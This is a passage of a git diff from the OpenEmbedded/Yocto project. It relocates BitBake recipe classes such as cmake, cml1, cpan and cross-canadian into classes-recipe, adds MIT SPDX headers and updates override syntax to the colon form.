+ shutil.copy(lockfile, lockfile_orig)
+
+ newlines = []
+ with open(lockfile_orig, "r") as f:
+ for line in f.readlines():
+ if not line.startswith("source = \"git"):
+ newlines.append(line)
+
+ with open(lockfile, "w") as f:
+ f.writelines(newlines)
+}
+do_configure[postfuncs] += "cargo_common_do_patch_paths"
+
+do_compile:prepend () {
+ oe_cargo_fix_env
+}
+
+oe_cargo_fix_env () {
+ export CC="${RUST_TARGET_CC}"
+ export CXX="${RUST_TARGET_CXX}"
+ export CFLAGS="${CFLAGS}"
+ export CXXFLAGS="${CXXFLAGS}"
+ export AR="${AR}"
+ export TARGET_CC="${RUST_TARGET_CC}"
+ export TARGET_CXX="${RUST_TARGET_CXX}"
+ export TARGET_CFLAGS="${CFLAGS}"
+ export TARGET_CXXFLAGS="${CXXFLAGS}"
+ export TARGET_AR="${AR}"
+ export HOST_CC="${RUST_BUILD_CC}"
+ export HOST_CXX="${RUST_BUILD_CXX}"
+ export HOST_CFLAGS="${BUILD_CFLAGS}"
+ export HOST_CXXFLAGS="${BUILD_CXXFLAGS}"
+ export HOST_AR="${BUILD_AR}"
+}
+
+EXTRA_OECARGO_PATHS ??= ""
+
+EXPORT_FUNCTIONS do_configure
+
+# The culprit for this setting is the libc crate,
+# which as of Jun 2023 calls directly into 32 bit time functions in glibc,
+# bypassing all of glibc provisions to choose the right Y2038-safe functions. As
+# rust components statically link with that crate, pretty much everything
+# is affected, and so there's no point trying to have recipe-specific
+# INSANE_SKIP entries.
+#
+# Upstream ticket and PR:
+# https://github.com/rust-lang/libc/issues/3223
+# https://github.com/rust-lang/libc/pull/3175
+INSANE_SKIP:append = " 32bit-time"
diff --git a/meta/classes-recipe/cmake-qemu.bbclass b/meta/classes-recipe/cmake-qemu.bbclass
new file mode 100644
index 0000000000..46a89e2827
--- /dev/null
+++ b/meta/classes-recipe/cmake-qemu.bbclass
@@ -0,0 +1,32 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+# Not all platforms are supported by Qemu. Using qemu-user therefore
+# involves a certain risk, which is also the reason why this feature
+# is not part of the main cmake class by default.
+#
+# One use case is the execution of cross-compiled unit tests with CTest
+# on the build machine. If CMAKE_EXEWRAPPER_ENABLED is configured,
+# cmake --build --target test
+# works transparently with qemu-user. If the cmake project is developed
+# with this use case in mind this works very nicely also out of an IDE
+# configured to use cmake-native for cross compiling.
+
+inherit qemu cmake
+
+DEPENDS:append:class-target = "${@' qemu-native' if bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', True, False, d) else ''}"
+
+cmake_do_generate_toolchain_file:append:class-target() {
+ if [ "${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'True', 'False', d)}" ]; then
+ # Write out a qemu wrapper that will be used as exe_wrapper so that cmake
+ # can run target helper binaries through that. This also allows to execute ctest.
+ qemu_binary="${@qemu_wrapper_cmdline(d, '${STAGING_DIR_HOST}', ['${STAGING_DIR_HOST}/${libdir}','${STAGING_DIR_HOST}/${base_libdir}'])}"
+ echo "#!/bin/sh" > "${WORKDIR}/cmake-qemuwrapper"
+ echo "$qemu_binary \"\$@\"" >> "${WORKDIR}/cmake-qemuwrapper"
+ chmod +x "${WORKDIR}/cmake-qemuwrapper"
+ echo "set( CMAKE_CROSSCOMPILING_EMULATOR ${WORKDIR}/cmake-qemuwrapper)" \
+ >> ${WORKDIR}/toolchain.cmake
+ fi
+}
diff --git a/meta/classes-recipe/cmake.bbclass b/meta/classes-recipe/cmake.bbclass
new file mode 100644
index 0000000000..3d3781ef33
--- /dev/null
+++ b/meta/classes-recipe/cmake.bbclass
@@ -0,0 +1,247 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Path to the CMake file to process.
+OECMAKE_SOURCEPATH ??= "${S}"
+
+DEPENDS:prepend = "cmake-native "
+B = "${WORKDIR}/build"
+
+# What CMake generator to use.
+# The supported options are "Unix Makefiles" or "Ninja".
+OECMAKE_GENERATOR ?= "Ninja"
+
+python() {
+ generator = d.getVar("OECMAKE_GENERATOR")
+ if "Unix Makefiles" in generator:
+ args = "-G '" + generator + "' -DCMAKE_MAKE_PROGRAM=" + d.getVar("MAKE")
+ d.setVar("OECMAKE_GENERATOR_ARGS", args)
+ d.setVarFlag("do_compile", "progress", "percent")
+ elif "Ninja" in generator:
+ args = "-G '" + generator + "' -DCMAKE_MAKE_PROGRAM=ninja"
+ d.appendVar("DEPENDS", " ninja-native")
+ d.setVar("OECMAKE_GENERATOR_ARGS", args)
+ d.setVarFlag("do_compile", "progress", r"outof:^\[(\d+)/(\d+)\]\s+")
+ else:
+ bb.fatal("Unknown CMake Generator %s" % generator)
+}
+OECMAKE_AR ?= "${AR}"
+
+# Compiler flags
+OECMAKE_C_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CFLAGS}"
+OECMAKE_CXX_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CXXFLAGS}"
+OECMAKE_C_FLAGS_RELEASE ?= "-DNDEBUG"
+OECMAKE_CXX_FLAGS_RELEASE ?= "-DNDEBUG"
+OECMAKE_C_LINK_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CPPFLAGS} ${LDFLAGS}"
+OECMAKE_CXX_LINK_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CXXFLAGS} ${LDFLAGS}"
+
+def oecmake_map_compiler(compiler, d):
+ args = d.getVar(compiler).split()
+ if args[0] == "ccache":
+ return args[1], args[0]
+ return args[0], ""
+
+# C/C++ Compiler (without cpu arch/tune arguments)
+OECMAKE_C_COMPILER ?= "${@oecmake_map_compiler('CC', d)[0]}"
+OECMAKE_C_COMPILER_LAUNCHER ?= "${@oecmake_map_compiler('CC', d)[1]}"
+OECMAKE_CXX_COMPILER ?= "${@oecmake_map_compiler('CXX', d)[0]}"
+OECMAKE_CXX_COMPILER_LAUNCHER ?= "${@oecmake_map_compiler('CXX', d)[1]}"
+
+# clear compiler vars for allarch to avoid sig hash difference
+OECMAKE_C_COMPILER:allarch = ""
+OECMAKE_C_COMPILER_LAUNCHER:allarch = ""
+OECMAKE_CXX_COMPILER:allarch = ""
+OECMAKE_CXX_COMPILER_LAUNCHER:allarch = ""
+
+OECMAKE_RPATH ?= ""
+OECMAKE_PERLNATIVE_DIR ??= ""
+OECMAKE_EXTRA_ROOT_PATH ?= ""
+
+OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM = "ONLY"
+
+EXTRA_OECMAKE:append = " ${PACKAGECONFIG_CONFARGS}"
+
+export CMAKE_BUILD_PARALLEL_LEVEL
+CMAKE_BUILD_PARALLEL_LEVEL:task-compile = "${@oe.utils.parallel_make(d, False)}"
+CMAKE_BUILD_PARALLEL_LEVEL:task-install = "${@oe.utils.parallel_make(d, True)}"
+
+OECMAKE_TARGET_COMPILE ?= "all"
+OECMAKE_TARGET_INSTALL ?= "install"
+
+def map_host_os_to_system_name(host_os):
+ if host_os.startswith('darwin'):
+ return 'Darwin'
+ if host_os.startswith('mingw'):
+ return 'Windows'
+ if host_os.startswith('linux'):
+ return 'Linux'
+ return host_os
+
+# CMake expects target architectures in the format of uname(2),
+# which do not always match TARGET_ARCH, so all the necessary
+# conversions should happen here.
+def map_host_arch_to_uname_arch(host_arch):
+ if host_arch == "powerpc":
+ return "ppc"
+ if host_arch == "powerpc64le":
+ return "ppc64le"
+ if host_arch == "powerpc64":
+ return "ppc64"
+ return host_arch
+
+
+cmake_do_generate_toolchain_file() {
+ if [ "${BUILD_SYS}" = "${HOST_SYS}" ]; then
+ cmake_crosscompiling="set( CMAKE_CROSSCOMPILING FALSE )"
+ else
+ cmake_sysroot="set( CMAKE_SYSROOT \"${RECIPE_SYSROOT}\" )"
+ fi
+
+ cat > ${WORKDIR}/toolchain.cmake <<EOF
+# CMake system name must be something like "Linux".
+# This is important for cross-compiling.
+$cmake_crosscompiling
+set( CMAKE_SYSTEM_NAME ${@map_host_os_to_system_name(d.getVar('HOST_OS'))} )
+set( CMAKE_SYSTEM_PROCESSOR ${@map_host_arch_to_uname_arch(d.getVar('HOST_ARCH'))} )
+set( CMAKE_C_COMPILER ${OECMAKE_C_COMPILER} )
+set( CMAKE_CXX_COMPILER ${OECMAKE_CXX_COMPILER} )
+set( CMAKE_C_COMPILER_LAUNCHER ${OECMAKE_C_COMPILER_LAUNCHER} )
+set( CMAKE_CXX_COMPILER_LAUNCHER ${OECMAKE_CXX_COMPILER_LAUNCHER} )
+set( CMAKE_ASM_COMPILER ${OECMAKE_C_COMPILER} )
+find_program( CMAKE_AR ${OECMAKE_AR} DOC "Archiver" REQUIRED )
+
+set( CMAKE_C_FLAGS "${OECMAKE_C_FLAGS}" CACHE STRING "CFLAGS" )
+set( CMAKE_CXX_FLAGS "${OECMAKE_CXX_FLAGS}" CACHE STRING "CXXFLAGS" )
+set( CMAKE_ASM_FLAGS "${OECMAKE_C_FLAGS}" CACHE STRING "ASM FLAGS" )
+set( CMAKE_C_FLAGS_RELEASE "${OECMAKE_C_FLAGS_RELEASE}" CACHE STRING "Additional CFLAGS for release" )
+set( CMAKE_CXX_FLAGS_RELEASE "${OECMAKE_CXX_FLAGS_RELEASE}" CACHE STRING "Additional CXXFLAGS for release" )
+set( CMAKE_ASM_FLAGS_RELEASE "${OECMAKE_C_FLAGS_RELEASE}" CACHE STRING "Additional ASM FLAGS for release" )
+set( CMAKE_C_LINK_FLAGS "${OECMAKE_C_LINK_FLAGS}" CACHE STRING "LDFLAGS" )
+set( CMAKE_CXX_LINK_FLAGS "${OECMAKE_CXX_LINK_FLAGS}" CACHE STRING "LDFLAGS" )
+
+# only search in the paths provided so cmake doesnt pick
+# up libraries and tools from the native build machine
+set( CMAKE_FIND_ROOT_PATH ${STAGING_DIR_HOST} ${STAGING_DIR_NATIVE} ${CROSS_DIR} ${OECMAKE_PERLNATIVE_DIR} ${OECMAKE_EXTRA_ROOT_PATH} ${EXTERNAL_TOOLCHAIN} ${HOSTTOOLS_DIR})
+set( CMAKE_FIND_ROOT_PATH_MODE_PACKAGE ONLY )
+set( CMAKE_FIND_ROOT_PATH_MODE_PROGRAM ${OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM} )
+set( CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY )
+set( CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY )
+set( CMAKE_PROGRAM_PATH "/" )
+
+$cmake_sysroot
+
+# Use qt.conf settings
+set( ENV{QT_CONF_PATH} ${WORKDIR}/qt.conf )
+
+# We need to set the rpath to the correct directory as cmake does not provide any
+# directory as rpath by default
+set( CMAKE_INSTALL_RPATH ${OECMAKE_RPATH} )
+
+# Use RPATHs relative to build directory for reproducibility
+set( CMAKE_BUILD_RPATH_USE_ORIGIN ON )
+
+# Use our cmake modules
+list(APPEND CMAKE_MODULE_PATH "${STAGING_DATADIR}/cmake/Modules/")
+
+# add for non /usr/lib libdir, e.g. /usr/lib64
+set( CMAKE_LIBRARY_PATH ${libdir} ${base_libdir})
+
+# add include dir to implicit includes in case it differs from /usr/include
+list(APPEND CMAKE_C_IMPLICIT_INCLUDE_DIRECTORIES ${includedir})
+list(APPEND CMAKE_CXX_IMPLICIT_INCLUDE_DIRECTORIES ${includedir})
+
+EOF
+}
+
+addtask generate_toolchain_file after do_patch before do_configure
+
+CONFIGURE_FILES = "CMakeLists.txt *.cmake"
+
+do_configure[cleandirs] = "${@d.getVar('B') if d.getVar('S') != d.getVar('B') else ''}"
+
+OECMAKE_ARGS = "\
+ -DCMAKE_INSTALL_PREFIX:PATH=${prefix} \
+ -DCMAKE_INSTALL_BINDIR:PATH=${@os.path.relpath(d.getVar('bindir'), d.getVar('prefix') + '/')} \
+ -DCMAKE_INSTALL_SBINDIR:PATH=${@os.path.relpath(d.getVar('sbindir'), d.getVar('prefix') + '/')} \
+ -DCMAKE_INSTALL_LIBEXECDIR:PATH=${@os.path.relpath(d.getVar('libexecdir'), d.getVar('prefix') + '/')} \
+ -DCMAKE_INSTALL_SYSCONFDIR:PATH=${sysconfdir} \
+ -DCMAKE_INSTALL_SHAREDSTATEDIR:PATH=${@os.path.relpath(d.getVar('sharedstatedir'), d. getVar('prefix') + '/')} \
+ -DCMAKE_INSTALL_LOCALSTATEDIR:PATH=${localstatedir} \
+ -DCMAKE_INSTALL_LIBDIR:PATH=${@os.path.relpath(d.getVar('libdir'), d.getVar('prefix') + '/')} \
+ -DCMAKE_INSTALL_INCLUDEDIR:PATH=${@os.path.relpath(d.getVar('includedir'), d.getVar('prefix') + '/')} \
+ -DCMAKE_INSTALL_DATAROOTDIR:PATH=${@os.path.relpath(d.getVar('datadir'), d.getVar('prefix') + '/')} \
+ -DPYTHON_EXECUTABLE:PATH=${PYTHON} \
+ -DPython_EXECUTABLE:PATH=${PYTHON} \
+ -DPython3_EXECUTABLE:PATH=${PYTHON} \
+ -DLIB_SUFFIX=${@d.getVar('baselib').replace('lib', '')} \
+ -DCMAKE_INSTALL_SO_NO_EXE=0 \
+ -DCMAKE_TOOLCHAIN_FILE:FILEPATH=${WORKDIR}/toolchain.cmake \
+ -DCMAKE_NO_SYSTEM_FROM_IMPORTED=1 \
+ -DCMAKE_EXPORT_NO_PACKAGE_REGISTRY=ON \
+ -DFETCHCONTENT_FULLY_DISCONNECTED=ON \
+ -DCMAKE_EXPORT_COMPILE_COMMANDS:BOOL=ON \
+"
+
+cmake_do_configure() {
+ if [ "${OECMAKE_BUILDPATH}" ]; then
+ bbnote "cmake.bbclass no longer uses OECMAKE_BUILDPATH. The default behaviour is now out-of-tree builds with B=WORKDIR/build."
+ fi
+
+ if [ "${S}" = "${B}" ]; then
+ find ${B} -name CMakeFiles -or -name Makefile -or -name cmake_install.cmake -or -name CMakeCache.txt -delete
+ fi
+
+ # Just like autotools cmake can use a site file to cache result that need generated binaries to run
+ if [ -e ${WORKDIR}/site-file.cmake ] ; then
+ oecmake_sitefile="-C ${WORKDIR}/site-file.cmake"
+ else
+ oecmake_sitefile=
+ fi
+
+ cmake \
+ ${OECMAKE_GENERATOR_ARGS} \
+ $oecmake_sitefile \
+ ${OECMAKE_SOURCEPATH} \
+ ${OECMAKE_ARGS} \
+ ${EXTRA_OECMAKE} \
+ -Wno-dev
+}
+
+# To disable verbose cmake logs for a given recipe or globally config metadata e.g. local.conf
+# add following
+#
+# CMAKE_VERBOSE = ""
+#
+
+CMAKE_VERBOSE ??= "VERBOSE=1"
+
+# Then run do_compile again
+cmake_runcmake_build() {
+ bbnote ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --build '${B}' "$@" -- ${EXTRA_OECMAKE_BUILD}
+ eval ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --build '${B}' "$@" -- ${EXTRA_OECMAKE_BUILD}
+}
+
+# Install an already-generated project binary tree. Not checking the compile
+# dependencies again is particularly important for SDK use cases.
+cmake_runcmake_install() {
+ bbnote ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --install '${B}'
+ eval ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --install '${B}'
+}
+
+cmake_do_compile() {
+ cmake_runcmake_build --target ${OECMAKE_TARGET_COMPILE}
+}
+
+cmake_do_install() {
+ if [ "${OECMAKE_TARGET_INSTALL}" = "install" ]; then
+ DESTDIR='${D}' cmake_runcmake_install
+ else
+ # Legacy path which supports also custom install targets
+ DESTDIR='${D}' cmake_runcmake_build --target ${OECMAKE_TARGET_INSTALL}
+ fi
+}
+
+EXPORT_FUNCTIONS do_configure do_compile do_install do_generate_toolchain_file
diff --git a/meta/classes-recipe/cml1.bbclass b/meta/classes-recipe/cml1.bbclass
new file mode 100644
index 0000000000..03e5fe6f47
--- /dev/null
+++ b/meta/classes-recipe/cml1.bbclass
@@ -0,0 +1,115 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# returns all the elements from the src uri that are .cfg files
+def find_cfgs(d):
+ sources=src_patches(d, True)
+ sources_list=[]
+ for s in sources:
+ if s.endswith('.cfg'):
+ sources_list.append(s)
+
+ return sources_list
+
+cml1_do_configure() {
+ set -e
+ unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS
+ yes '' | oe_runmake oldconfig
+}
+
+EXPORT_FUNCTIONS do_configure
+
+inherit terminal
+
+OE_TERMINAL_EXPORTS += "HOST_EXTRACFLAGS HOSTLDFLAGS TERMINFO CROSS_CURSES_LIB CROSS_CURSES_INC"
+HOST_EXTRACFLAGS = "${BUILD_CFLAGS} ${BUILD_LDFLAGS}"
+HOSTLDFLAGS = "${BUILD_LDFLAGS}"
+CROSS_CURSES_LIB = "-lncurses -ltinfo"
+CROSS_CURSES_INC = '-DCURSES_LOC="<curses.h>"'
+TERMINFO = "${STAGING_DATADIR_NATIVE}/terminfo"
+
+KCONFIG_CONFIG_COMMAND ??= "menuconfig"
+KCONFIG_CONFIG_ENABLE_MENUCONFIG ??= "true"
+KCONFIG_CONFIG_ROOTDIR ??= "${B}"
+python do_menuconfig() {
+ import shutil
+
+ if not bb.utils.to_boolean(d.getVar("KCONFIG_CONFIG_ENABLE_MENUCONFIG")):
+ bb.fatal("do_menuconfig is disabled, please check KCONFIG_CONFIG_ENABLE_MENUCONFIG variable.")
+ return
+
+ config = os.path.join(d.getVar('KCONFIG_CONFIG_ROOTDIR'), ".config")
+ configorig = os.path.join(d.getVar('KCONFIG_CONFIG_ROOTDIR'), ".config.orig")
+
+ try:
+ mtime = os.path.getmtime(config)
+ shutil.copy(config, configorig)
+ except OSError:
+ mtime = 0
+
+ # setup native pkg-config variables (kconfig scripts call pkg-config directly, cannot generically be overriden to pkg-config-native)
+ d.setVar("PKG_CONFIG_DIR", "${STAGING_DIR_NATIVE}${libdir_native}/pkgconfig")
+ d.setVar("PKG_CONFIG_PATH", "${PKG_CONFIG_DIR}:${STAGING_DATADIR_NATIVE}/pkgconfig")
+ d.setVar("PKG_CONFIG_LIBDIR", "${PKG_CONFIG_DIR}")
+ d.setVarFlag("PKG_CONFIG_SYSROOT_DIR", "unexport", "1")
+ # ensure that environment variables are overwritten with this tasks 'd' values
+ d.appendVar("OE_TERMINAL_EXPORTS", " PKG_CONFIG_DIR PKG_CONFIG_PATH PKG_CONFIG_LIBDIR PKG_CONFIG_SYSROOT_DIR")
+
+ oe_terminal("sh -c 'make %s; if [ \\$? -ne 0 ]; then echo \"Command failed.\"; printf \"Press any key to continue... \"; read r; fi'" % d.getVar('KCONFIG_CONFIG_COMMAND'),
+ d.getVar('PN') + ' Configuration', d)
+
+ try:
+ newmtime = os.path.getmtime(config)
+ except OSError:
+ newmtime = 0
+
+ if newmtime > mtime:
+ bb.plain("Changed configuration saved at:\n %s\nRecompile will be forced" % config)
+ bb.build.write_taint('do_compile', d)
+}
+do_menuconfig[depends] += "ncurses-native:do_populate_sysroot"
+do_menuconfig[nostamp] = "1"
+do_menuconfig[dirs] = "${KCONFIG_CONFIG_ROOTDIR}"
+addtask menuconfig after do_configure
+
+python do_diffconfig() {
+ import shutil
+ import subprocess
+
+ workdir = d.getVar('WORKDIR')
+ fragment = workdir + '/fragment.cfg'
+ configorig = os.path.join(d.getVar('KCONFIG_CONFIG_ROOTDIR'), ".config.orig")
+ config = os.path.join(d.getVar('KCONFIG_CONFIG_ROOTDIR'), ".config")
+
+ try:
+ md5newconfig = bb.utils.md5_file(configorig)
+ md5config = bb.utils.md5_file(config)
+ isdiff = md5newconfig != md5config
+ except IOError as e:
+ bb.fatal("No config files found. Did you do menuconfig ?\n%s" % e)
+
+ if isdiff:
+ statement = 'diff --unchanged-line-format= --old-line-format= --new-line-format="%L" ' + configorig + ' ' + config + '>' + fragment
+ subprocess.call(statement, shell=True)
+ # No need to check the exit code as we know it's going to be
+ # non-zero, but that's what we expect.
+ shutil.copy(configorig, config)
+
+ bb.plain("Config fragment has been dumped into:\n %s" % fragment)
+ else:
+ if os.path.exists(fragment):
+ os.unlink(fragment)
+}
+
+do_diffconfig[nostamp] = "1"
+do_diffconfig[dirs] = "${KCONFIG_CONFIG_ROOTDIR}"
+addtask diffconfig
+
+do_showconfig() {
+ bbplain "Config file written to ${KCONFIG_CONFIG_ROOTDIR}/.config"
+}
+do_showconfig[nostamp] = "1"
+addtask showconfig after do_configure
diff --git a/meta/classes/compress_doc.bbclass b/meta/classes-recipe/compress_doc.bbclass
index d6d11fad26..d603caf858 100644
--- a/meta/classes/compress_doc.bbclass
+++ b/meta/classes-recipe/compress_doc.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Compress man pages in ${mandir} and info pages in ${infodir}
#
# 1. The doc will be compressed to gz format by default.
@@ -8,7 +14,7 @@
#
# 3. It is easy to add a new type compression by editing
# local.conf, such as:
-# DOC_COMPRESS_LIST_append = ' abc'
+# DOC_COMPRESS_LIST:append = ' abc'
# DOC_COMPRESS = 'abc'
# DOC_COMPRESS_CMD[abc] = 'abc compress cmd ***'
# DOC_DECOMPRESS_CMD[abc] = 'abc decompress cmd ***'
@@ -225,7 +231,7 @@ python compress_doc_updatealternatives () {
infodir = d.getVar("infodir")
compress_mode = d.getVar('DOC_COMPRESS')
for pkg in (d.getVar('PACKAGES') or "").split():
- old_names = (d.getVar('ALTERNATIVE_%s' % pkg) or "").split()
+ old_names = (d.getVar('ALTERNATIVE:%s' % pkg) or "").split()
new_names = []
for old_name in old_names:
old_link = d.getVarFlag('ALTERNATIVE_LINK_NAME', old_name)
@@ -258,6 +264,6 @@ python compress_doc_updatealternatives () {
new_names.append(new_name)
if new_names:
- d.setVar('ALTERNATIVE_%s' % pkg, ' '.join(new_names))
+ d.setVar('ALTERNATIVE:%s' % pkg, ' '.join(new_names))
}
diff --git a/meta/classes/core-image.bbclass b/meta/classes-recipe/core-image.bbclass
index 88ca272145..40fc15cb04 100644
--- a/meta/classes/core-image.bbclass
+++ b/meta/classes-recipe/core-image.bbclass
@@ -1,6 +1,8 @@
# Common code for generating core reference images
#
# Copyright (C) 2007-2011 Linux Foundation
+#
+# SPDX-License-Identifier: MIT
# IMAGE_FEATURES control content of the core reference images
#
@@ -9,6 +11,7 @@
#
# Available IMAGE_FEATURES:
#
+# - weston - Weston Wayland compositor
# - x11 - X server
# - x11-base - X server with minimal environment
# - x11-sato - OpenedHand Sato environment
@@ -28,8 +31,11 @@
# - allow-empty-password
# - allow-root-login
# - post-install-logging
+# - serial-autologin-root - with 'empty-root-password': autologin 'root' on the serial console
# - dev-pkgs - development packages (headers, etc.) for all installed packages in the rootfs
# - dbg-pkgs - debug symbol packages for all installed packages in the rootfs
+# - lic-pkgs - license packages for all installed pacakges in the rootfs, requires
+# LICENSE_CREATE_PACKAGE="1" to be set when building packages too
# - doc-pkgs - documentation packages for all installed packages in the rootfs
# - bash-completion-pkgs - bash-completion packages for recipes using bash-completion bbclass
# - ptest-pkgs - ptest packages for all ptest-enabled recipes
@@ -37,6 +43,7 @@
# - stateless-rootfs - systemctl-native not run, image populated by systemd at runtime
# - splash - bootup splash screen
#
+FEATURE_PACKAGES_weston = "packagegroup-core-weston"
FEATURE_PACKAGES_x11 = "packagegroup-core-x11"
FEATURE_PACKAGES_x11-base = "packagegroup-core-x11-base"
FEATURE_PACKAGES_x11-sato = "packagegroup-core-x11-sato"
@@ -55,6 +62,10 @@ FEATURE_PACKAGES_hwcodecs = "${MACHINE_HWCODECS}"
# IMAGE_FEATURES_REPLACES_foo = 'bar1 bar2'
# Including image feature foo would replace the image features bar1 and bar2
IMAGE_FEATURES_REPLACES_ssh-server-openssh = "ssh-server-dropbear"
+# Do not install openssh complementary packages if either packagegroup-core-ssh-dropbear or dropbear
+# is installed # to avoid openssh-dropbear conflict
+# see [Yocto #14858] for more information
+PACKAGE_EXCLUDE_COMPLEMENTARY:append = "${@bb.utils.contains_any('PACKAGE_INSTALL', 'packagegroup-core-ssh-dropbear dropbear', ' openssh', '' , d)}"
# IMAGE_FEATURES_CONFLICTS_foo = 'bar1 bar2'
# An error exception would be raised if both image features foo and bar1(or bar2) are included
diff --git a/meta/classes-recipe/cpan-base.bbclass b/meta/classes-recipe/cpan-base.bbclass
new file mode 100644
index 0000000000..1db0a4ded6
--- /dev/null
+++ b/meta/classes-recipe/cpan-base.bbclass
@@ -0,0 +1,33 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
+# cpan-base providers various perl related information needed for building
+# cpan modules
+#
+FILES:${PN} += "${libdir}/perl5 ${datadir}/perl5"
+
+DEPENDS += "${@["perl", "perl-native"][(bb.data.inherits_class('native', d))]}"
+RDEPENDS:${PN} += "${@["perl", ""][(bb.data.inherits_class('native', d))]}"
+
+inherit perl-version
+
+def is_target(d):
+ if not bb.data.inherits_class('native', d):
+ return "yes"
+ return "no"
+
+PERLLIBDIRS = "${libdir}/perl5"
+PERLLIBDIRS:class-native = "${libdir}/perl5"
+
+def cpan_upstream_check_pattern(d):
+ for x in (d.getVar('SRC_URI') or '').split(' '):
+ if x.startswith("https://cpan.metacpan.org"):
+ _pattern = x.split('/')[-1].replace(d.getVar('PV'), r'(?P<pver>\d+.\d+)')
+ return _pattern
+ return ''
+
+UPSTREAM_CHECK_REGEX ?= "${@cpan_upstream_check_pattern(d)}"
diff --git a/meta/classes/cpan.bbclass b/meta/classes-recipe/cpan.bbclass
index e9908ae4b8..bb76a5b326 100644
--- a/meta/classes/cpan.bbclass
+++ b/meta/classes-recipe/cpan.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# This is for perl modules that use the old Makefile.PL build system
#
inherit cpan-base perlnative
@@ -41,12 +47,12 @@ cpan_do_configure () {
fi
}
-do_configure_append_class-target() {
+do_configure:append:class-target() {
find . -name Makefile | xargs sed -E -i \
-e 's:LD_RUN_PATH ?= ?"?[^"]*"?::g'
}
-do_configure_append_class-nativesdk() {
+do_configure:append:class-nativesdk() {
find . -name Makefile | xargs sed -E -i \
-e 's:LD_RUN_PATH ?= ?"?[^"]*"?::g'
}
diff --git a/meta/classes/cpan_build.bbclass b/meta/classes-recipe/cpan_build.bbclass
index f3fb4666ef..026859b6c7 100644
--- a/meta/classes/cpan_build.bbclass
+++ b/meta/classes-recipe/cpan_build.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# This is for perl modules that use the new Build.PL build system
#
inherit cpan-base perlnative
diff --git a/meta/classes/cross-canadian.bbclass b/meta/classes-recipe/cross-canadian.bbclass
index f5c9f61595..1670217d69 100644
--- a/meta/classes/cross-canadian.bbclass
+++ b/meta/classes-recipe/cross-canadian.bbclass
@@ -1,4 +1,8 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
# NOTE - When using this class the user is responsible for ensuring that
# TRANSLATED_TARGET_ARCH is added into PN. This ensures that if the TARGET_ARCH
# is changed, another nativesdk xxx-canadian-cross can be installed
@@ -36,10 +40,12 @@ python () {
return
tos = d.getVar("TARGET_OS")
- whitelist = []
+ tos_known = ["mingw32"]
extralibcs = [""]
if "musl" in d.getVar("BASECANADIANEXTRAOS"):
extralibcs.append("musl")
+ if "android" in tos:
+ extralibcs.append("android")
for variant in ["", "spe", "x32", "eabi", "n32", "_ilp32"]:
for libc in extralibcs:
entry = "linux"
@@ -49,8 +55,8 @@ python () {
entry = entry + "-gnu" + variant
elif libc:
entry = entry + "-" + libc
- whitelist.append(entry)
- if tos not in whitelist:
+ tos_known.append(entry)
+ if tos not in tos_known:
bb.fatal("Building cross-candian for an unknown TARGET_SYS (%s), please update cross-canadian.bbclass" % d.getVar("TARGET_SYS"))
for n in ["PROVIDES", "DEPENDS"]:
@@ -104,7 +110,7 @@ STAGING_DIR_HOST = "${RECIPE_SYSROOT}"
TOOLCHAIN_OPTIONS = " --sysroot=${RECIPE_SYSROOT}"
-PATH_append = ":${TMPDIR}/sysroots/${HOST_ARCH}/${bindir_cross}"
+PATH:append = ":${TMPDIR}/sysroots/${HOST_ARCH}/${bindir_cross}"
PKGHIST_DIR = "${TMPDIR}/pkghistory/${HOST_ARCH}-${SDKPKGSUFFIX}${HOST_VENDOR}-${HOST_OS}/"
HOST_ARCH = "${SDK_ARCH}"
@@ -129,7 +135,7 @@ LDFLAGS = "${BUILDSDK_LDFLAGS} \
# We need chrpath >= 0.14 to ensure we can deal with 32 and 64 bit
# binaries
#
-DEPENDS_append = " chrpath-replacement-native"
+DEPENDS:append = " chrpath-replacement-native"
EXTRANATIVEPATH += "chrpath-native"
# Path mangling needed by the cross packaging
@@ -153,9 +159,9 @@ base_sbindir = "${bindir}"
libdir = "${exec_prefix}/lib/${TARGET_ARCH}${TARGET_VENDOR}-${TARGET_OS}"
libexecdir = "${exec_prefix}/libexec/${TARGET_ARCH}${TARGET_VENDOR}-${TARGET_OS}"
-FILES_${PN} = "${prefix}"
+FILES:${PN} = "${prefix}"
-export PKG_CONFIG_DIR = "${STAGING_DIR_HOST}${layout_libdir}/pkgconfig"
+export PKG_CONFIG_DIR = "${STAGING_DIR_HOST}${exec_prefix}/lib/pkgconfig"
export PKG_CONFIG_SYSROOT_DIR = "${STAGING_DIR_HOST}"
do_populate_sysroot[stamp-extra-info] = ""
@@ -167,7 +173,7 @@ USE_NLS = "${SDKUSE_NLS}"
# and not any particular tune that is enabled.
